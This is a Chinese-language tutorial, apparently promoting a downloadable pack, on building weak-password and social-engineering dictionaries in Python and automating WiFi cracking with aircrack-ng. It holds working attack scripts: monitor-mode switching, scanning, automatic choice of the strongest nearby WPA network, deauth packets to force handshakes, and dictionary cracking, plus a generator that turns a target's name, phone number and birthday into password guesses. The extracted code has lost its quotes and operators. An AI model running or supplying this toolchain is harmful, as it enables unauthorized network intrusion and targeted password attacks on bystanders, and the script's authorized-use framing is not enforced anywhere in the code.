:構建弱口令字典與WiFi密碼破解工具鏈)
簡介這是一套面向Python學習者和安全測試初學者的密碼字典與破解腳本組合包圍繞常見弱口令和少量英文密碼整理出可復用的字典并提供WiFi密碼破解腳本方便在本地實驗環(huán)境或授權測試場景中練習Python腳本編寫與基礎滲透思路。資源以zip壓縮包形式提供共2個文件txt密碼字典涵蓋高頻弱口令與英文密碼py腳本承擔WiFi密碼的自動化測試整個壓縮包僅14KB內容輕量、結構簡單便于快速下載與二次修改。目前已有10524人學習/下載這一主題在入門安全測試學習者中關注度較高。借助這份資料讀者可以直接獲得一份可擴展的密碼字典并通過Python腳本觀察密碼嘗試流程隨后根據實驗需求擴充詞條、調整參數用于授權的密碼安全檢測與弱口令加固訓練。1. 用Python把弱口令字典和WiFi口令檢測串成一套能落地的工具如果你做過內網安全測試一定遇到過這樣的場景翻出幾臺舊路由器、攝像頭或者打印機管理員密碼早就沒人記得設備掛著默認口令在跑。掏出一份現成的弱口令字典卻發(fā)現里面全是admin、123456這種老面孔跑完一輪一無所獲。問題幾乎都出在字典本身——要么太大跑不完要么太小覆蓋不到目標。這篇筆記要講的就是我自己一直在用的一套組合方案先用Python按目標場景生成和裁剪一份“弱口令少量英文”的密碼字典再配合WiFi密碼破解腳本把從生成字典到抓握手包、跑包驗證的完整鏈路打通。適合安全測試入門者、網絡運維和喜歡折騰舊設備的人照著改就能用。2. 弱口令字典的設計邏輯先搞懂口令是怎么被“猜”出來的2.1 字典攻擊和暴力破解的根本區(qū)別為什么字典不是越全越好很多人一開始把字典攻擊和暴力破解混為一談。暴力破解是拿字符集做笛卡爾積從aaaa到ZZZZ理論上一定能跑出來但代價是指數級的組合數。拿8位純小寫字母來說26的8次方超過2000億就算每秒驗證1萬個口令也要跑兩年多。字典攻擊的思路完全不同——它賭的是“人類設密碼的習慣”。大部分人在設口令時會復用熟悉詞、生日、手機號、鍵盤相鄰鍵這些口令出現的概率遠高于隨機串。一份好的弱口令字典是要把概率最高的前幾萬條口令撈出來而不是拿全量組合去堆。所以“越全越好”是新手最容易踩的坑。網上動不動幾個GB的字典包看起來氣勢很足實際上跑包的時候你會發(fā)現90%的時間浪費在低頻垃圾口令上。真實的測試場景里目標路由器和設備的管理口令就是那一批高頻弱口令與其跑幾個GB的“大全”不如針對目標類型準備1萬到5萬條的精準字典。字典攻擊的命中率不取決于字典有多大取決于它是否符合目標人群的設密習慣。2.2 常見弱口令的統計規(guī)律Top口令里藏著哪些共性我整理過多次授權測試的命中記錄弱口令的分布其實相當有規(guī)律。Top 10幾乎永遠是那一批admin、123456、password、12345678、admin123、root、123456789、guest、admin888、1234。這些口令之間有一個明顯的共性要么是默認管理賬號直接拿來當密碼要么是鍵盤順序12345678、要么是單詞加簡單數字后綴admin123。再往下看還能分出幾條更細的規(guī)律。第一純數字口令占了大頭但位數集中在6到8位很少見到9位以上的純數字弱口令——人記不住那么長的純數字。第二英文單詞幾乎永遠是小寫且是常用詞admin、root、guest、test、office、wifi、router、link、telecom。第三單詞和數字組合時數字基本貼在單詞尾部admin123、root123、wifi123極少有人把數字插在單詞中間。第四品牌詞和型號詞高頻出現tplink、dlink、huawei、zte 這類廠商名直接當密碼的案例在路由器上非常常見。這些規(guī)律直接決定了字典的構造方式。拿“少量英文”來說不是隨便扔幾個英文詞進去而是要把“設備類型英文詞品牌詞常見弱口令詞”按設備的語境去組合。跑家用路由器tplink、wifi、router、admin、guest 這些詞要重點保留跑企業(yè)設備admin、root、cisco、huawei、test 這類要放前面。2.3 英文字典和弱口令的合并策略怎么裁剪出“少量英文”的有效部分合并字典時最忌諱直接做文件拼接然后把去重邏輯丟給跑包工具。我一般會把字典按來源分成三到四類每一類單獨生成最后統一合并、去重、排序、截斷。基礎弱口令集人工維護的幾百條絕對高頻弱口令比如空口令、admin、password、123456 這一批不用多500到1000條足夠。數字規(guī)則集純數字6到8位里按高頻模式生成重點保留123456、888888、666666、1314520 這一批不要全量跑。英文弱口令集一小批安全測試常用的英文詞控制在100到200個詞包含admin、root、guest、operator、admin123 這類。品牌組合集按目標設備類型生成廠家名加數字的變體tplink、dlink、tenda、huawei、xiaomi 加123、888、admin 這些后綴。合并時要按“概率從高到低”排序而不是按字典序。這個順序非常重要因為跑包是按順序驗證的大多數目標會在前幾千條就命中你完全沒必要讓它在幾萬條之后才碰到真正的口令。我自己的經驗是一份1萬條左右的合并字典前2000條就能覆蓋大部分家用設備弱口令場景。排序的維度按“人工高頻弱口令 品牌詞組合 英文詞數字 規(guī)則數字”來安排比純字母表排序的命中速度快得多。3. 用Python生成和篩選弱口令字典三套可直接改的生成腳本3.1 基礎字典生成器從純數字、生日到簡單英文組合這一節(jié)直接給能跑的腳本。下面的代碼會生成三種基礎口令純數字6到8位的高頻模式、常見生日組合、簡單英文加數字后綴。代碼里用規(guī)則白名單的方式控制規(guī)模避免把全量組合寫死進文件。def generate_numeric_weak(): 生成數字弱口令高頻模式 連續(xù)鍵盤 重復數字 patterns [] # 連續(xù)遞增/遞減序列去掉9位以上 for i in range(10): for length in (4, 5, 6): seq .join(str((i j) % 10) for j in range(length)) patterns.append(seq) patterns.append(seq[::-1]) # 重復數字888888、666666 這類 for digit in 0123456789: for length in (4, 5, 6): patterns.append(digit * length) # 高頻社會數字1314520、5201314 等 patterns.extend([1314520, 5201314, 521521, 000000, 123123]) # 去重并按數字長度排序短的排前面 seen set() result [] for p in patterns: if p not in seen: seen.add(p) result.append(p) return sorted(result, keylambda x: (len(x), x)) def generate_birthday(): 生日弱口令覆蓋常用年月日排列組合 birthdays [] months [01, 02, 03, 04, 05, 06, 07, 08, 09, 10, 11, 12] days [01, 02, 03, 04, 05, 06, 07, 08, 09, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31] years [1970, 1980, 1985, 1990, 1995, 2000, 2005, 1998, 1999, 2001, 2002, 1988, 1989, 1991, 1992] # 常見寫法純8位日期、月日年、年月日 for y in years: for m in months: for d in days: birthdays.append(y m d) # 19900101 birthdays.append(m d y) # 01011990 birthdays.append(y[2:] m d) # 900101 # 去掉年份只留月日用于部分設備短口令 for m in months: for d in days: birthdays.append(m d) # 0101 return list(dict.fromkeys(birthdays)) # 去重保持順序邏輯說明第一部分用“規(guī)則枚舉”代替全量暴力。連續(xù)序列里我生成了從每個數字起始的長度4到6的遞增和遞減串覆蓋1234、12345、98765這類鍵盤順序口令。重復數字段只取4到6位因為實測中純重復3位以下太短很少出現在設備密碼里7位以上也不是弱口令的高頻區(qū)。生日部分控制了年份范圍只保留1970到2005之間最常見于當代設備管理者的出生年份段避免生成1988后面跟著所有月份這種過度膨脹。參數說明年份列表的15個值是你最需要根據目標人群調整的。如果你在測校園網設備把年份往2000到2010偏移。如果你在測老舊工業(yè)設備1970到1985才是主力。months和days保留了全量是因為日期分布相對均勻學費不貴。monthday短口令只有兩位在部分老型號路由器上命中率意外地高。3.2 社工信息混合字典把姓名、手機、門牌號揉進口令池對個人目標設備做測試時純規(guī)則口令經常失效因為口令里混入了目標的個人信息。做一個社工字典生成器輸入目標的基礎信息輸出一堆排列組合。import itertools def generate_social_dict(name, phone, birthday, company): 基于社工信息生成口令組合 參數說明 - name: 目標姓名拼音小寫如 zhangwei - phone: 手機號后4位或完整手機號如 13800138000 或 8000 - birthday: 生日8位如 19900101 - company: 公司名拼音可留空 輸出按概率排序名字數字 生日變體 手機切片 base_words [name, name.upper(), name.capitalize()] if company: base_words.append(company) base_words.append(company name) # 手機號切成后4位、后6位、完整號 phone_parts [] if len(phone) 11: phone_parts.extend([phone[-4:], phone[-6:], phone[3:]]) # 去前綴的8位 else: phone_parts.append(phone) results [] suffix_nums [123, 1234, 12345, 666, 888, 520, 1, 0] # 第一優(yōu)先級名字高頻數字后綴 for w in base_words: for sn in suffix_nums: results.append(w sn) results.append(sn w) # 第二優(yōu)先級生日變體 y, m, d birthday[:4], birthday[4:6], birthday[6:8] results.append(y m d) results.append(m d y) results.append(y[2:] m d) results.append(name y[2:]) results.append(name.capitalize() y[2:]) # 第三優(yōu)先級名字手機切片 for p in phone_parts: results.append(name p) results.append(p name) # 第四優(yōu)先級原樣單詞和簡單拼接 results.extend([name, name name, company 123, company 888]) return list(dict.fromkeys(results))邏輯說明這段代碼的核心假設是“口令通常由一到兩個語義塊拼接而成”。名字是一塊數字是一塊拼接順序要么數字在后要么數字在前。所以我用suffix_nums控制了最受歡迎的一批數字后綴而不是把000到999全跑一遍。birthday被拆成年月日三個變量組合成人最常寫的三種日期格式。手機號只保留后4位、后6位和去前綴的8位因為前3位運營商號段沒有任何口令價值。參數說明name的大小寫變體很重要很多人設密碼會下意識把首字母大寫這是拼音輸入法留下的肌肉記憶。company是可選參數但如果你在測企業(yè)內網設備公司拼音加123這類口令的命中率排在所有規(guī)則的前三名。注意這段代碼輸出規(guī)模不大通常只有幾百條它的定位是作為補充字典疊加到主字典之上而不是單獨使用。3.3 合并去重與規(guī)則篩選三個必調參數長度、字符集、命中優(yōu)先生成完多份字典后需要統一做一輪合并和篩選。這一步直接決定最終字典文件的質量。def merge_and_filter(dict_files, min_len6, max_len12, top_n10000, keep_alphaTrue, keep_digitTrue): 合并多份字典并做規(guī)則篩選 參數說明 - dict_files: 輸入字典文件路徑列表 - min_len / max_len: 口令長度邊界默認保留6到12位 - top_n: 保留前N條按原始文件順序出現頻次排序 - keep_alpha: 是否保留含英文字母的口令 - keep_digit: 是否保留含數字的口令 返回篩選后的口令列表 from collections import Counter line_counter Counter() merged [] for f in dict_files: with open(f, r, encodingutf-8, errorsignore) as fp: for line in fp: pwd line.strip() if not pwd: continue # 長度過濾 if not (min_len len(pwd) max_len): continue # 字符集過濾 has_alpha any(c.isalpha() for c in pwd) has_digit any(c.isdigit() for c in pwd) if keep_alpha and not has_alpha: continue if keep_digit and not has_digit: continue line_counter[pwd] 1 merged.append(pwd) # 按出現次數降序再按原文保序實現“高頻優(yōu)先” ordered [] for pwd, cnt in line_counter.most_common(): ordered.append(pwd) if len(ordered) top_n: break return ordered # 使用示例合并數字字典、生日字典、社工字典 final_dict merge_and_filter( [numeric.txt, birthday.txt, social.txt], min_len6, max_len12, top_n8000, keep_alphaTrue, keep_digitTrue ) with open(wifi_weak_dict.txt, w, encodingutf-8) as fp: fp.write(\n.join(final_dict))邏輯說明這里的核心在Counter.most_common()——它統計每條口令在多個輸入文件中出現的次數出現次數越多說明它被不同規(guī)則命中的概率越高也就越可能是真實弱口令。這就是“命中優(yōu)先”的含義不是按字母排是按規(guī)則覆蓋度排。長度過濾把過短的很多協議有最小口令長度限制和過長的人記不住都剪掉了。字符集過濾可以單獨關掉alpha或digit如果你明確知道目標設備不支持字母口令可以只留keep_alphaFalse。參數說明top_n是最敏感的參數。家用路由器場景8000條足夠覆蓋絕大多數情況企業(yè)設備可以放寬到20000但再大就失去字典的意義了——你直接用暴力破解可能還快些。min_len建議至少設6WPA2-PSK協議本身要求8位以上純數字也要8位但很多老設備的web管理口令允許4位以上所以這里要看你跑的是哪個協議。如果目標是WPA握手包長度過濾放在8位以上更合理。3.4 字典文件的組織方式按場景分文件不搞一個“萬能字典”最后講字典文件的組織。很多人的習慣是維護一個超級大的字典文件不管測什么設備都拿它去跑。這個習慣我強烈不建議。不同場景的目標口令分布差異非常大家用路由器Top 10里有guest和admin888企業(yè)交換機Top 10里是admin、enable、cisco、huawei攝像頭則大量使用純數字和admin組合。一份“萬能字典”最終會變成“萬不能字典”。我自己的習慣是按四個維度拆文件目標類型路由器/攝像頭/服務器/工控設備、口令長度段4到6位短口令、8到12位標準口令、是否包含字母純數字字典、字母數字混合字典、品牌專屬字典tplink、huawei、cisco 各一份。跑目標之前先按設備類型快速選字典命中率差一個量級。目錄結構大概是這樣的你可以直接照搬dict/ ├── router/ │ ├── router_common.txt # 通用家用路由器弱口令 │ ├── router_tplink.txt # tplink/dlink 品牌專項 │ └── router_huawei.txt # huawei/zte 品牌專項 ├── camera/ │ ├── camera_pure_digit.txt # 攝像頭常見純數字 │ └── camera_admin.txt # 攝像頭 admin 系口令 ├── server/ │ ├── server_root.txt # root/ssh 弱口令 │ └── server_oracle.txt # 數據庫弱口令 └── social/ └── social_worker.txt # 社工信息生成按目標覆蓋這樣組織的好處是你在第4章的WiFi破解腳本里可以按目標SSID特征快速指定字典而不是每次跑一個幾萬行的大雜燴文件。4. WiFi密碼破解腳本從網卡監(jiān)聽模式到握手包驗證的完整鏈路4.1 先認清硬件邊界支持監(jiān)聽模式的網卡和驅動環(huán)境WiFi密碼破解不是純軟件能搞定的事硬件的邊界卡得非常死。你的無線網卡必須支持監(jiān)聽模式monitor mode普通筆記本內置網卡百分之九十都不行或者驅動層被系統鎖死了。常見可用的方案是外接USB無線網卡芯片方案以Realtek RTL8812AU、RTL8821AU、Atheros AR9271這三類居多。操作系統上建議直接用Linux發(fā)行版或者裝在虛擬機里給網卡做USB直通。Windows幾乎不要指望自帶網卡驅動不支持monitor模式pywifi在Windows上只能做掃描測試抓握手包這一步走不通。我自己常年用Ubuntu 22.04 RTL8812AU的網卡組合。裝驅動時注意內核版本匹配新內核5.15以上對8812AU的兼容性參差不齊翻車率最高的就是這個環(huán)節(jié)。4.2 抓取WPA握手包用Python編排aircrack-ng套件的思路抓握手包的正確姿勢是先把網卡切到monitor模式然后掃描周圍的AP鎖定目標監(jiān)聽抓包直到某個客戶端和AP之間發(fā)生重新認證握手。如果目標AP附近沒有活躍客戶端你還需要先發(fā)deauth包把客戶端打掉線再等它重連這時握手包就出現了。下面的Python腳本用subprocess調用aircrack-ng套件完成從掃描到抓包的自動化。注意這不是“直接破解密碼”的腳本而是“幫你抓到手包再交給你跑字典”的流程腳本。import subprocess import time import os import sys def run_cmd(cmd): 執(zhí)行shell命令并實時打印輸出 proc subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, textTrue) for line in proc.stdout: print(line, end) proc.wait() def enable_monitor_mode(ifacewlan0): 將無線網卡切換到監(jiān)聽模式 print(f[*] 關閉 {iface} 網絡管理...) run_cmd(fsudo airmon-ng stop {iface}) run_cmd(fsudo ip link set {iface} down) run_cmd(fsudo iw dev {iface} set type monitor) run_cmd(fsudo ip link set {iface} up) print(f[*] {iface} 已進入監(jiān)聽模式) def scan_networks(ifacewlan0mon, duration30): 掃描周圍WiFi輸出BSSID、信道、SSID print(f[*] 開始掃描 {duration} 秒...) run_cmd(fsudo timeout {duration} airodump-ng {iface} -w scan_result --output-format csv) # 解析CSV獲取目標AP的BSSID和信道 import csv aps [] with open(scan_result-01.csv, r, encodingutf-8, errorsignore) as f: for row in csv.reader(f): if len(row) 14 and WPA in row[13] and row[0].strip(): aps.append({ bssid: row[0].strip(), channel: row[3].strip(), ssid: row[13].strip(), signal: row[8].strip() }) return aps def capture_handshake(iface, bssid, channel, outputhandshake, timeout120): 鎖定目標抓握手包 參數 - bssid: 目標AP的MAC地址 - channel: 目標AP的信道 - timeout: 最長等待秒數超過自動退出 # 先鎖定信道監(jiān)聽 cmd (fsudo timeout {timeout} airodump-ng {iface} f-d {bssid} -c {channel} -w {output} --ignore-negative-one) proc subprocess.Popen(cmd, shellTrue) # 等待15秒讓監(jiān)聽穩(wěn)定如果沒有客戶端活動就發(fā)deauth time.sleep(15) print(f[*] 檢查是否有客戶端活動15秒后可能發(fā)送deauth) # 發(fā)送deauth包打斷客戶端連接促使重握手 run_cmd(fsudo aireplay-ng -0 3 -a {bssid} {iface}) # 等待抓包完成 proc.wait() # 檢查是否抓到握手包 cap_file f{output}-01.cap result subprocess.run(fsudo aircrack-ng {cap_file} | grep handshake, shellTrue, capture_outputTrue, textTrue) if handshake in result.stdout: print(f[] 握手包已抓到{cap_file}) return cap_file else: print([-] 未抓到握手包可重試或延長監(jiān)聽時間) return None邏輯說明enable_monitor_mode用airmon-ng做標準切換流程先停掉網絡管理是必須的否則NetworkManager會把網卡拉回managed模式。scan_networks用timeout限制airodump-ng的運行時長然后解析CSV拿BSSID、信道和SSID。capture_handshake先開監(jiān)聽等15秒看有沒有現成的客戶端重連如果沒有就發(fā)deauth包強制客戶端掉線重連這就是主動觸發(fā)握手的標準做法。參數說明timeout建議用90到180秒太短可能目標設備剛好休眠太長浪費在空等上。deauth的發(fā)送數量3包就夠發(fā)太多會顯得異??赡鼙籄P的防攻擊機制屏蔽。capture_handshake函數里解析握手包用的是aircrack-ng命令的文本輸出如果顯示WPA handshake字樣就說明抓到了這個判斷邏輯在自動化腳本里非常實用。4.3 字典跑包驗證命中口令的判定與輸出抓到手包后跑包驗證這一步相對簡單但要選對工具并且理解輸出結果。def crack_handshake(cap_file, wordlistwifi_weak_dict.txt): 用字典跑握手包 參數說明 - cap_file: 抓到的握手包文件wireshark能打開的.cap格式 - wordlist: 第3章生成的字典文件路徑 返回命中口令或None print(f[*] 開始跑包字典{wordlist}) cmd fsudo aircrack-ng {cap_file} -w {wordlist} -q # -q安靜模式 proc subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, textTrue) for line in proc.stdout: # aircrack-ng命中時會打印 KEY FOUND! 行 if KEY FOUND in line or KEY FOUND! in line: # 解析類似 [KEY FOUND!] [password] pwd line.split(])[-1].strip().strip([]) print(f[] 命中口令{pwd}) return pwd print([-] 字典未命中換字典或擴大規(guī)則) return None邏輯說明aircrack-ng跑包的核心是讀.cap文件里的握手包PMK數據再用字典里的每條口令做PBKDF2運算算出的PMK和抓到的PMK匹配即為命中。這個過程的計算量主要在PBKDF2的迭代次數WPA2默認4096次所以跑包速度和CPU浮點能力直接掛鉤。用-q安靜模式是為了讓Python腳本更容易從stdout中定位命中的那行。參數說明wordlist建議直接用第3章腳本生成的文件第一次先跑8000條的沒命中再換大字典。aircrack-ng對批量跑包不夠高效如果字典超過5萬條建議改為把握手包轉成hashcat格式用GPU跑。但那是進階話題第6章我會講。4.4 腳本的完整骨架掃描、抓包、跑字典三段式把上面的函數串起來就是完整的執(zhí)行流程。注意用量判斷加在deauth和跑包環(huán)節(jié)——斷網重連、輪詢信道這些姑且不提。def main(): iface wlan0 enable_monitor_mode(iface) mon_iface iface mon # 部分網卡monitor模式下的接口名 if not os.path.exists(f/sys/class/net/{mon_iface}): mon_iface iface # 有的驅動不生成mon后綴 aps scan_networks(mon_iface, duration30) if not aps: print([-] 未掃描到WPA網絡檢查網卡監(jiān)聽模式是否正常) return # 選中信號最強的目標按signal字段數值排序 aps.sort(keylambda x: int(x[signal]), reverseTrue) target aps[0] print(f[*] 目標選為{target[ssid]} ({target[bssid]}) 信道 {target[channel]}) cap_file capture_handshake(mon_iface, target[bssid], target[channel]) if not cap_file: return crack_handshake(cap_file, wifi_weak_dict.txt)邏輯說明main函數把流程串成三步掃描、選目標、抓包、跑包。這里有幾個小的工程細節(jié)值得注意。一是monitor模式后的接口名并不總是wlan0mon有的驅動直接用wlan0所以腳本里做了存在性檢查。二是按信號強度排序時airodump-ng輸出的信號列是負dBm值越接近0信號越強所以排序要用reverseTrue。三是整個腳本需要root權限執(zhí)行因為airmon-ng、airodump-ng、aireplay-ng全部要求root。上面這段腳本的完整版就是標題里說的“附贈WiFi密碼破解腳本”。腳本本身不復雜核心價值是把抓握手包的時序邏輯——切監(jiān)聽、掃描、選目標、deauth觸發(fā)重連、驗證握手、跑字典——固化成了可重復執(zhí)行的流程。新人最容易翻車的就是忘記deauth這一步干等半天一個握手包都抓不到。5. 跑字典最常翻車的5個坑現象、原因、處置5.1 現象網卡切到monitor模式后立刻掉回managed或者完全掃不到信號原因驅動沒裝好或者系統NetworkManager在搗亂。ubuntu里NetworkManager默認會自動接管無線網卡airmon-ng停掉它之后某些內核版本會在幾秒后自動重啟網絡服務把網卡拉回去。還有一部分原因是網卡的USB芯片供電不穩(wěn)插在USB 3.0口反而比USB 2.0口更容易掉線。解決先執(zhí)行airmon-ng check kill把干擾進程一次清干凈再走一遍切monitor的流程。如果還是掉檢查dmesg看驅動有沒有報固件加載失敗。USB供電問題就換口、換線或者加一個有源的USB Hub。這個坑在所有無線安全測試排障里排第一百分之八十的“掃不到網絡”最后都是硬件鏈路問題。5.2 現象airodump-ng能看到目標AP但監(jiān)聽半天抓不到握手包原因目標AP附近沒有活躍客戶端或者客戶端全部處于靜默狀態(tài)。家用路由器普遍有多個設備連接但如果你在測的是一臺閑置的IoT設備或者半夜里的辦公網絡客戶端很可能已經休眠很久沒有任何重新認證的時機。解決這個場景下必須主動發(fā)deauth包打斷客戶端連接。我在capture_handshake里已經加了自動發(fā)3包deauth的邏輯但要注意發(fā)給誰。如果未知客戶端可以先在airodump-ng輸出里看STATION列找到信號最強的客戶端MAC把deauth定向發(fā)給它比發(fā)給廣播地址的命中率高很多。實際測試中廣播deauth有些驅動不生效定向打客戶端基本100%會觸發(fā)重連。5.3 現象字典跑完了顯示not found但同一份字典換臺機器或者加了幾條口令就命中了原因大概率是字典的口令排序問題弱口令被埋到了后面。很多跑包工具是嚴格按字典文件順序逐條驗證的如果前5000條都沒覆蓋到目標的真實口令哪怕后面第8000條就是對的你也會先看到not found。另一個常見原因是長度過濾設得太死目標路由器口令是個10位的“強口令”你只保留了6到8位的字典。解決回爐字典把排序邏輯改成“高頻優(yōu)先”。用我第3章里merge_and_filter函數重新生成字典人工維護的Top弱口令永遠排在最前面。同時確認你的min_len和max_len覆蓋了路由器的密碼策略區(qū)間。WPA2-PSK口令最短8位一些老設備甚至允許4位但很多家用路由器的初始密碼是10位以上的數字組合這種情況純弱口令字典本來就打不中不要浪費太多時間。5.4 現象cap文件抓到了但aircrack-ng提示 No matching WPA handshake原因抓到的cap里存的是若干幀的混雜包但其中沒有包含完整的四次握手信息。很多新手以為只要抓到了EAPOL幀就算握手包實際上必須抓到至少一個完整的客戶端到AP的EAPOL Message 2并配合AP回應的Message 3才行。監(jiān)聽時間太短或者把監(jiān)聽信道設錯了都可能只抓到半截。解決先用Wireshark打開cap文件過濾eapol看有沒有成對的M1/M2或M3/M4。如果沒有回到抓包步驟延長監(jiān)聽時間到120秒以上同時把deauth的包數從3加到5。還有一個容易忽略的原因目標AP和客戶端都在5GHz頻段而你的網卡只支持2.4GHz監(jiān)聽。aircrack-ng會對這種情況報錯用iw phy看網卡的band能力就能確認。5.5 現象字典文件有10萬條跑包跑了幾個小時才跑完命中率還很低原因字典質量太差純靠堆量。很多人從網上下載幾GB的“超全字典”里面塞滿各種語言詞庫、URL、隨機串——這些內容對WiFi口令幾乎沒有任何覆蓋價值。WPA2跑包是PBKDF2計算密集型任務CPU單核每秒大概只能驗證幾百到一千條口令幾GB的字典跑幾天都跑不完。解決嚴格控制字典規(guī)模和排序。一臺四核CPU的機器跑1萬條字典大約需要5到15分鐘2萬條就到半小時量級了這是可以接受的時長。超過5萬條就該考慮用hashcat切到GPU跑包。但比GPU更重要的是先做場景選字典——針對家用路由器跑品牌詞admin系列組合命中率遠高于跑幾十萬條的全量混拼。另外不要在一個字典上死磕半小時以上用多個針對性小字典輪流跑效率更高。6. 驗證與進階拿自己的路由器把整套流程練到順手在投入真實測試之前建議先用自己的設備做一輪完整驗證把流程打磨到不需要看輸出提示也能猜出下一步。找一個閑置的家用路由器把密碼設成admin123456這種典型的弱口令然后用第4章的腳本完整跑一遍掃描、抓包、跑包。驗證的里程碑有三個第一能穩(wěn)定切到monitor模式并連續(xù)掃描30秒不退出第二能夠在發(fā)出deauth之后30秒內抓到包含完整EAPOL握手的cap文件第三字典里設置的一條已知弱口令能被準確跑出來。這個驗證過程至少要做三遍每換一個環(huán)境換網卡、換路由器、換供電方式都必須重測。因為WiFi環(huán)境的變量太多信道干擾、客戶端活躍度、驅動版本都會讓抓包行為千差萬別只有多練才能建立直覺。進階方向有兩個。一是把跑包引擎從aircrack-ng切到hashcat用GPU并行計算處理5萬條以上的字典時性能能快幾十倍。核心思路是用cap2hashcat把cap文件轉成hashcat的22000格式然后按掩碼或字典跑。二是從抓握手包轉向PMKID攻擊在部分支持PMKID的路由器上可以直接離線計算PSK不需要等客戶端握手效率高很多。這兩個方向都值得單獨研究但它們的前提是你已經熟練掌握了這一套弱口令字典的處理手法——字典質量永遠是決定成敗的第一因素。我個人的習慣是把所有用過的字典文件按日期歸檔每次實戰(zhàn)后記錄“目標類型命中口令”定期回填到基礎弱口令集里。已經試過了跑自己的路由器練手是性價比最高的學習方式——多練幾次你會對“什么樣的口令最常出現”建立直覺這是任何現成字典都給不了的經驗。希望幫到你。本文還有配套的精品資源點擊獲取